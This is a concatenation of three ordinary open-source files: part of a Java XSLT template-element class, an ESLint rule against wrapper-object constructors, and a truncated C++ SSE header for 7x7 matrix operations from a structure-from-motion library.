protected int m_docOrderNumber = -1;
/**
* Set the UID (document order index).
*
* @param i Index of this child.
*/
public void setUid(int i)
{
m_docOrderNumber = i;
}
/**
* Get the UID (document order index).
*
* @return Index of this child
*/
public int getUid()
{
return m_docOrderNumber;
}
/**
* Parent node.
* @serial
*/
protected ElemTemplateElement m_parentNode;
/**
* Get the parent as a Node.
*
* @return This node's parent node
*/
public Node getParentNode()
{
return m_parentNode;
}
/**
* Get the parent as an ElemTemplateElement.
*
* @return This node's parent as an ElemTemplateElement
*/
public ElemTemplateElement getParentElem()
{
return m_parentNode;
}
/**
* Set the parent as an ElemTemplateElement.
*
* @param p This node's parent as an ElemTemplateElement
*/
public void setParentElem(ElemTemplateElement p)
{
m_parentNode = p;
}
/**
* Next sibling.
* @serial
*/
ElemTemplateElement m_nextSibling;
/**
* Get the next sibling (as a Node) or return null.
*
* @return this node's next sibling or null
*/
public Node getNextSibling()
{
return m_nextSibling;
}
/**
* Get the previous sibling (as a Node) or return null.
* Note that this may be expensive if the parent has many kids;
* we accept that price in exchange for avoiding the prev pointer
* TODO: If we were sure parents and sibs are always ElemTemplateElements,
* we could hit the fields directly rather than thru accessors.
*
* @return This node's previous sibling or null
*/
public Node getPreviousSibling()
{
Node walker = getParentNode(), prev = null;
if (walker != null)
for (walker = walker.getFirstChild(); walker != null;
prev = walker, walker = walker.getNextSibling())
{
if (walker == this)
return prev;
}
return null;
}
/**
* Get the previous sibling (as a Node) or return null.
* Note that this may be expensive if the parent has many kids;
* we accept that price in exchange for avoiding the prev pointer
* TODO: If we were sure parents and sibs are always ElemTemplateElements,
* we could hit the fields directly rather than thru accessors.
*
* @return This node's previous sibling or null
*/
public ElemTemplateElement getPreviousSiblingElem()
{
ElemTemplateElement walker = getParentNodeElem();
ElemTemplateElement prev = null;
if (walker != null)
for (walker = walker.getFirstChildElem(); walker != null;
prev = walker, walker = walker.getNextSiblingElem())
{
if (walker == this)
return prev;
}
return null;
}
/**
* Get the next sibling (as a ElemTemplateElement) or return null.
*
* @return This node's next sibling (as a ElemTemplateElement) or null
*/
public ElemTemplateElement getNextSiblingElem()
{
return m_nextSibling;
}
/**
* Get the parent element.
*
* @return This node's next parent (as a ElemTemplateElement) or null
*/
public ElemTemplateElement getParentNodeElem()
{
return m_parentNode;
}
/**
* First child.
* @serial
*/
ElemTemplateElement m_firstChild;
/**
* Get the first child as a Node.
*
* @return This node's first child or null
*/
public Node getFirstChild()
{
return m_firstChild;
}
/**
* Get the first child as a ElemTemplateElement.
*
* @return This node's first child (as a ElemTemplateElement) or null
*/
public ElemTemplateElement getFirstChildElem()
{
return m_firstChild;
}
/**
* Get the last child.
*
* @return This node's last child
*/
public Node getLastChild()
{
ElemTemplateElement lastChild = null;
for (ElemTemplateElement node = m_firstChild; node != null;
node = node.m_nextSibling)
{
lastChild = node;
}
return lastChild;
}
/**
* Get the last child.
*
* @return This node's last child
*/
public ElemTemplateElement getLastChildElem()
{
ElemTemplateElement lastChild = null;
for (ElemTemplateElement node = m_firstChild; node != null;
node = node.m_nextSibling)
{
lastChild = node;
}
return lastChild;
}
/** DOM backpointer that this element originated from. */
transient private org.w3c.dom.Node m_DOMBackPointer;
/**
* If this stylesheet was created from a DOM, get the
* DOM backpointer that this element originated from.
* For tooling use.
*
* @return DOM backpointer that this element originated from or null.
*/
public org.w3c.dom.Node getDOMBackPointer()
{
return m_DOMBackPointer;
}
/**
* If this stylesheet was created from a DOM, set the
* DOM backpointer that this element originated from.
* For tooling use.
*
* @param n DOM backpointer that this element originated from.
*/
public void setDOMBackPointer(org.w3c.dom.Node n)
{
m_DOMBackPointer = n;
}
/**
* Compares this object with the specified object for precedence order.
* The order is determined by the getImportCountComposed() of the containing
* composed stylesheet and the getUid() of this element.
* Returns a negative integer, zero, or a positive integer as this
* object is less than, equal to, or greater than the specified object.
*
* @param o The object to be compared to this object
* @return a negative integer, zero, or a positive integer as this object is
* less than, equal to, or greater than the specified object.
* @throws ClassCastException if the specified object's
* type prevents it from being compared to this Object.
*/
public int compareTo(Object o) throws ClassCastException {
ElemTemplateElement ro = (ElemTemplateElement) o;
int roPrecedence = ro.getStylesheetComposed().getImportCountComposed();
int myPrecedence = this.getStylesheetComposed().getImportCountComposed();
if (myPrecedence < roPrecedence)
return -1;
else if (myPrecedence > roPrecedence)
return 1;
else
return this.getUid() - ro.getUid();
}
/**
* Get information about whether or not an element should strip whitespace.
* @see <a href="http://www.w3.org/TR/xslt#strip">strip in XSLT Specification</a>
*
* @param support The XPath runtime state.
* @param targetElement Element to check
*
* @return true if the whitespace should be stripped.
*
* @throws TransformerException
*/
public boolean shouldStripWhiteSpace(
org.apache.xpath.XPathContext support,
org.w3c.dom.Element targetElement) throws TransformerException
{
StylesheetRoot sroot = this.getStylesheetRoot();
return (null != sroot) ? sroot.shouldStripWhiteSpace(support, targetElement) :false;
}
/**
* Get information about whether or not whitespace can be stripped.
* @see <a href="http://www.w3.org/TR/xslt#strip">strip in XSLT Specification</a>
*
* @return true if the whitespace can be stripped.
*/
public boolean canStripWhiteSpace()
{
StylesheetRoot sroot = this.getStylesheetRoot();
return (null != sroot) ? sroot.canStripWhiteSpace() : false;
}
/**
* Tell if this element can accept variable declarations.
* @return true if the element can accept and process variable declarations.
*/
public boolean canAcceptVariables()
{
return true;
}
//=============== ExpressionNode methods ================
/**
* Set the parent of this node.
* @param n Must be a ElemTemplateElement.
*/
public void exprSetParent(ExpressionNode n)
{
// This obviously requires that only a ElemTemplateElement can
// parent a node of this type.
setParentElem((ElemTemplateElement)n);
}
/**
* Get the ExpressionNode parent of this node.
*/
public ExpressionNode exprGetParent()
{
return getParentElem();
}
/**
* This method tells the node to add its argument to the node's
* list of children.
* @param n Must be a ElemTemplateElement.
*/
public void exprAddChild(ExpressionNode n, int i)
{
appendChild((ElemTemplateElement)n);
}
/** This method returns a child node. The children are numbered
from zero, left to right. */
public ExpressionNode exprGetChild(int i)
{
return (ExpressionNode)item(i);
}
/** Return the number of children the node has. */
public int exprGetNumChildren()
{
return getLength();
}
/**
* Accept a visitor and call the appropriate method
* for this class.
*
* @param visitor The visitor whose appropriate method will be called.
* @return true if the children of the object should be visited.
*/
protected boolean accept(XSLTVisitor visitor)
{
return visitor.visitInstruction(this);
}
/**
* @see XSLTVisitable#callVisitors(XSLTVisitor)
*/
public void callVisitors(XSLTVisitor visitor)
{
if(accept(visitor))
{
callChildVisitors(visitor);
}
}
/**
* Call the children visitors.
* @param visitor The visitor whose appropriate method will be called.
*/
protected void callChildVisitors(XSLTVisitor visitor, boolean callAttributes)
{
for (ElemTemplateElement node = m_firstChild;
node != null;
node = node.m_nextSibling)
{
node.callVisitors(visitor);
}
}
/**
* Call the children visitors.
* @param visitor The visitor whose appropriate method will be called.
*/
protected void callChildVisitors(XSLTVisitor visitor)
{
callChildVisitors(visitor, true);
}
/**
* @see PrefixResolver#handlesNullPrefixes()
*/
public boolean handlesNullPrefixes() {
return false;
}
}
| {
"pile_set_name": "Github"
} |
/**
* @fileoverview Rule to flag when using constructor for wrapper objects
* @author Ilya Volodin
*/
"use strict";
//------------------------------------------------------------------------------
// Rule Definition
//------------------------------------------------------------------------------
module.exports = {
meta: {
type: "suggestion",
docs: {
description: "disallow `new` operators with the `String`, `Number`, and `Boolean` objects",
category: "Best Practices",
recommended: false,
url: "https://eslint.org/docs/rules/no-new-wrappers"
},
schema: []
},
create(context) {
return {
NewExpression(node) {
const wrapperObjects = ["String", "Number", "Boolean", "Math", "JSON"];
if (wrapperObjects.indexOf(node.callee.name) > -1) {
context.report({ node, message: "Do not use {{fn}} as a constructor.", data: { fn: node.callee.name } });
}
}
};
}
};
| {
"pile_set_name": "Github"
} |
////////////////////////////////////////////////////////////////////////////
// Copyright 2017-2018 Computer Vision Group of State Key Lab at CAD&CG,
// Zhejiang University. All Rights Reserved.
//
// For more information see <https://github.com/ZJUCVG/ENFT-SfM>
// If you use this code, please cite the corresponding publications as
// listed on the above website.
//
// Permission to use, copy, modify and distribute this software and its
// documentation for educational, research and non-profit purposes only.
// Any modification based on this work must be open source and prohibited
// for commercial use.
// You must retain, in the source form of any derivative works that you
// distribute, all copyright, patent, trademark, and attribution notices
// from the source form of this work.
//
//
////////////////////////////////////////////////////////////////////////////
#ifndef _MATRIX_7_H_
#define _MATRIX_7_H_
#include "Vector7.h"
#include "Matrix6x7.h"
#include "Matrix6.h"
#include "Matrix7x3.h"
namespace LA
{
class AlignedMatrix7f : public AlignedMatrix6x7f
{
public:
inline const ENFT_SSE::__m128& M_60_61_62_63() const { return m_60_61_62_63; } inline ENFT_SSE::__m128& M_60_61_62_63() { return m_60_61_62_63; }
inline const ENFT_SSE::__m128& M_64_65_66_x () const { return m_64_65_66_x; } inline ENFT_SSE::__m128& M_64_65_66_x () { return m_64_65_66_x; }
inline const float& M60() const { return m_60_61_62_63.m128_f32[0]; } inline float& M60() { return m_60_61_62_63.m128_f32[0]; }
inline const float& M61() const { return m_60_61_62_63.m128_f32[1]; } inline float& M61() { return m_60_61_62_63.m128_f32[1]; }
inline const float& M62() const { return m_60_61_62_63.m128_f32[2]; } inline float& M62() { return m_60_61_62_63.m128_f32[2]; }
inline const float& M63() const { return m_60_61_62_63.m128_f32[3]; } inline float& M63() { return m_60_61_62_63.m128_f32[3]; }
inline const float& M64() const { return m_64_65_66_x.m128_f32[0]; } inline float& M64() { return m_64_65_66_x.m128_f32[0]; }
inline const float& M65() const { return m_64_65_66_x.m128_f32[1]; } inline float& M65() { return m_64_65_66_x.m128_f32[1]; }
inline const float& M66() const { return m_64_65_66_x.m128_f32[2]; } inline float& M66() { return m_64_65_66_x.m128_f32[2]; }
inline const float& reserve6() const { return m_64_65_66_x.m128_f32[3]; } inline float& reserve6() { return m_64_65_66_x.m128_f32[3]; }
inline void SetZero() { memset(this, 0, sizeof(AlignedMatrix7f)); }
inline void GetDiagonal(AlignedVector7f &d) const
{
d.v0() = M00(); d.v1() = M11(); d.v2() = M22(); d.v3() = M33(); d.v4() = M44(); d.v5() = M55(); d.v6() = M66(); d.reserve() = 0;
}
inline void SetDiagonal(const AlignedVector7f &d)
{
M00() = d.v0(); M11() = d.v1(); M22() = d.v2(); M33() = d.v3(); M44() = d.v4(); M55() = d.v5(); M66() = d.v6();
}
inline void ScaleDiagonal(const float &lambda)
{
M00() *= lambda; M11() *= lambda; M22() *= lambda; M33() *= lambda; M44() *= lambda; M55() *= lambda; M66() *= lambda;
}
inline void IncreaseDiagonal(const float &lambda)
{
M00() += lambda; M11() += lambda; M22() += lambda; M33() += lambda; M44() += lambda; M55() += lambda; M66() += lambda;
}
inline void SetLowerFromUpper()
{
M10() = M01();
M20() = M02(); M21() = M12();
M30() = M03(); M31() = M13(); M32() = M23();
M40() = M04(); M41() = M14(); M42() = M24(); M43() = M34();
M50() = M05(); M51() = M15(); M52() = M25(); M53() = M35(); M54() = M45();
M60() = M06(); M61() = M16(); M62() = M26(); M63() = M36(); M64() = M46(); M65() = M56();
}
#if _DEBUG
inline const float* operator[] (const int &i) const
{
switch(i)
{
case 0: return &m_00_01_02_03.m128_f32[0]; break;
case 1: return &m_10_11_12_13.m128_f32[0]; break;
case 2: return &m_20_21_22_23.m128_f32[0]; break;
case 3: return &m_30_31_32_33.m128_f32[0]; break;
case 4: return &m_40_41_42_43.m128_f32[0]; break;
case 5: return &m_50_51_52_53.m128_f32[0]; break;
case 6: return &m_60_61_62_63.m128_f32[0]; break;
default: return NULL;
}
}
#endif
inline void Print() const
{
printf("%f %f %f %f %f %f %f\n", M00(), M01(), M02(), M03(), M04(), M05(), M06());
printf("%f %f %f %f %f %f %f\n", M10(), M11(), M12(), M13(), M14(), M15(), M16());
printf("%f %f %f %f %f %f %f\n", M20(), M21(), M22(), M23(), M24(), M25(), M26());
printf("%f %f %f %f %f %f %f\n", M30(), M31(), M32(), M33(), M34(), M35(), M36());
printf("%f %f %f %f %f %f %f\n", M40(), M41(), M42(), M43(), M44(), M45(), M46());
printf("%f %f %f %f %f %f %f\n", M50(), M51(), M52(), M53(), M54(), M55(), M56());
printf("%f %f %f %f %f %f %f\n", M60(), M61(), M62(), M63(), M64(), M65(), M66());
}
protected:
ENFT_SSE::__m128 m_60_61_62_63, m_64_65_66_x;
};
inline void SetReserve(AlignedMatrix7f &M) { M.reserve0() = M.reserve1() = M.reserve2() = M.reserve3() = M.reserve4() = M.reserve5() = M.reserve6() = 0; }
inline void AddATAToUpper(const AlignedMatrix2x7f &A, AlignedMatrix7f &to, ENFT_SSE::__m128 *work2)
{
work2[0] = ENFT_SSE::_mm_set1_ps(A.M00()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M10());
to.M_00_01_02_03() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], A.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], A.M_10_11_12_13())), to.M_00_01_02_03());
to.M_04_05_06_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], A.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], A.M_14_15_16_x ())), to.M_04_05_06_x ());
work2[0] = ENFT_SSE::_mm_set1_ps(A.M01()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M11());
to.M_10_11_12_13() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], A.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], A.M_10_11_12_13())), to.M_10_11_12_13());
to.M_14_15_16_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], A.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], A.M_14_15_16_x ())), to.M_14_15_16_x ());
to.M22() = A.M02() * A.M02() + A.M12() * A.M12() + to.M22();
to.M23() = A.M02() * A.M03() + A.M12() * A.M13() + to.M23();
to.M_24_25_26_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M02()), A.M_04_05_06_x ()),
ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M12()), A.M_14_15_16_x ())), to.M_24_25_26_x ());
to.M33() = A.M03() * A.M03() + A.M13() * A.M13() + to.M33();
to.M_34_35_36_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M03()), A.M_04_05_06_x ()),
ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M13()), A.M_14_15_16_x ())), to.M_34_35_36_x ());
to.M_44_45_46_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M04()), A.M_04_05_06_x ()),
ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M14()), A.M_14_15_16_x ())), to.M_44_45_46_x ());
to.M55() = A.M05() * A.M05() + A.M15() * A.M15() + to.M55();
to.M56() = A.M05() * A.M06() + A.M15() * A.M16() + to.M56();
to.M66() = A.M06() * A.M06() + A.M16() * A.M16() + to.M66();
}
inline void AddATAToUpper(const AlignedMatrix3x7f &A, AlignedMatrix7f &to, ENFT_SSE::__m128 *work3)
{
work3[0] = ENFT_SSE::_mm_set1_ps(A.M00()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M10()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M20());
to.M_00_01_02_03() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], A.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], A.M_10_11_12_13())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[2], A.M_20_21_22_23()), to.M_00_01_02_03()));
to.M_04_05_06_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], A.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], A.M_14_15_16_x ())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[2], A.M_24_25_26_x ()), to.M_04_05_06_x ()));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M01()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M11()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M21());
to.M_10_11_12_13() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], A.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], A.M_10_11_12_13())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[2], A.M_20_21_22_23()), to.M_10_11_12_13()));
to.M_14_15_16_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], A.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], A.M_14_15_16_x ())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[2], A.M_24_25_26_x ()), to.M_14_15_16_x ()));
to.M22() = A.M02() * A.M02() + A.M12() * A.M12() + A.M22() * A.M22() + to.M22();
to.M23() = A.M02() * A.M03() + A.M12() * A.M13() + A.M22() * A.M23() + to.M23();
to.M_24_25_26_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M02()), A.M_04_05_06_x()),
ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M12()), A.M_14_15_16_x())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M22()), A.M_24_25_26_x()), to.M_14_15_16_x()));
to.M33() = A.M03() * A.M03() + A.M13() * A.M13() + A.M23() * A.M23() + to.M33();
to.M_34_35_36_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M03()), A.M_04_05_06_x()),
ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M13()), A.M_14_15_16_x())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M23()), A.M_24_25_26_x()), to.M_34_35_36_x()));
to.M_44_45_46_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M04()), A.M_04_05_06_x()),
ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M14()), A.M_14_15_16_x())),
ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M24()), A.M_24_25_26_x()), to.M_44_45_46_x()));
to.M55() = A.M05() * A.M05() + A.M15() * A.M15() + A.M25() * A.M25() + to.M55();
to.M56() = A.M05() * A.M06() + A.M15() * A.M16() + A.M25() * A.M26() + to.M56();
to.M66() = A.M06() * A.M06() + A.M16() * A.M16() + A.M26() * A.M26() + to.M66();
}
template<class MATRIX> inline void FinishAdditionATAToUpper(AlignedMatrix7f &to) {}
inline void AddAATToUpper(const AlignedVector7f &A, AlignedMatrix7f &to, ENFT_SSE::__m128 &work)
{
work = ENFT_SSE::_mm_set1_ps(A.v0());
to.M_00_01_02_03() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work, A.v0123()), to.M_00_01_02_03());
to.M_04_05_06_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work, A.v456x()), to.M_04_05_06_x ());
work = ENFT_SSE::_mm_set1_ps(A.v1());
to.M_10_11_12_13() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work, A.v0123()), to.M_10_11_12_13());
to.M_14_15_16_x () = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work, A.v456x()), to.M_14_15_16_x ());
to.M22() = A.v2() * A.v2() + to.M22();
to.M23() = A.v2() * A.v3() + to.M23();
to.M_24_25_26_x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.v2()), A.v456x()), to.M_24_25_26_x());
to.M33() = A.v3() * A.v3() + to.M33();
to.M_34_35_36_x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.v3()), A.v456x()), to.M_34_35_36_x());
to.M_44_45_46_x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.v4()), A.v456x()), to.M_44_45_46_x());
to.M55() = A.v5() * A.v5() + to.M55();
to.M56() = A.v5() * A.v6() + to.M56();
to.M66() = A.v6() * A.v6() + to.M66();
}
inline void AddAATToUpper(const AlignedMatrix7x3f &A, AlignedMatrix7f &to)
{
to.M00() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_00_01_02_x())) + to.M00();
to.M01() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_10_11_12_x())) + to.M01();
to.M02() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_20_21_22_x())) + to.M02();
to.M03() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_30_31_32_x())) + to.M03();
to.M04() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_40_41_42_x())) + to.M04();
to.M05() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_50_51_52_x())) + to.M05();
to.M06() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_x(), A.M_60_61_62_x())) + to.M06();
to.M11() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_x(), A.M_10_11_12_x())) + to.M11();
to.M12() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_x(), A.M_20_21_22_x())) + to.M12();
to.M13() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_x(), A.M_30_31_32_x())) + to.M13();
to.M14() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_x(), A.M_40_41_42_x())) + to.M14();
to.M15() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_x(), A.M_50_51_52_x())) + to.M15();
to.M16() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_x(), A.M_60_61_62_x())) + to.M16();
to.M22() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_x(), A.M_20_21_22_x())) + to.M22();
to.M23() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_x(), A.M_30_31_32_x())) + to.M23();
to.M24() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_x(), A.M_40_41_42_x())) + to.M24();
to.M25() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_x(), A.M_50_51_52_x())) + to.M25();
to.M26() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_x(), A.M_60_61_62_x())) + to.M26();
to.M33() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_x(), A.M_30_31_32_x())) + to.M33();
to.M34() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_x(), A.M_40_41_42_x())) + to.M34();
to.M35() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_x(), A.M_50_51_52_x())) + to.M35();
to.M36() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_x(), A.M_60_61_62_x())) + to.M36();
to.M44() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_x(), A.M_40_41_42_x())) + to.M44();
to.M45() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_x(), A.M_50_51_52_x())) + to.M45();
to.M46() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_x(), A.M_60_61_62_x())) + to.M46();
to.M55() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_x(), A.M_50_51_52_x())) + to.M55();
to.M56() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_x(), A.M_60_61_62_x())) + to.M56();
to.M66() = ENFT_SSE::SSE::Sum012(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_x(), A.M_60_61_62_x())) + to.M66();
}
inline void SetLowerFromUpper(AlignedMatrix7f &M) { M.SetLowerFromUpper(); }
inline void GetDiagonal(const AlignedMatrix7f &M, AlignedVector7f &d) { M.GetDiagonal(d); }
inline void SetDiagonal(const AlignedVector7f &d, AlignedMatrix7f &M) { M.SetDiagonal(d); }
inline void ScaleDiagonal(const float &lambda, AlignedMatrix7f &M) { M.ScaleDiagonal(lambda); }
inline void IncreaseDiagonal(const float &lambda, AlignedMatrix7f &M) { M.IncreaseDiagonal(lambda); }
inline void AB(const AlignedMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &AB)
{
#if _DEBUG
assert(B.reserve() == 0);
#endif
AB.v0() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_04_05_06_x(), B.v456x())));
AB.v1() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_14_15_16_x(), B.v456x())));
AB.v2() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_24_25_26_x(), B.v456x())));
AB.v3() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_34_35_36_x(), B.v456x())));
AB.v4() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_44_45_46_x(), B.v456x())));
AB.v5() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_54_55_56_x(), B.v456x())));
AB.v6() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x(), B.v456x())));
}
inline void AddABTo(const AlignedMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &to)
{
#if _DEBUG
assert(B.reserve() == 0);
#endif
to.v0() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_04_05_06_x(), B.v456x()))) + to.v0();
to.v1() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_14_15_16_x(), B.v456x()))) + to.v1();
to.v2() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_24_25_26_x(), B.v456x()))) + to.v2();
to.v3() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_34_35_36_x(), B.v456x()))) + to.v3();
to.v4() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_44_45_46_x(), B.v456x()))) + to.v4();
to.v5() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_54_55_56_x(), B.v456x()))) + to.v5();
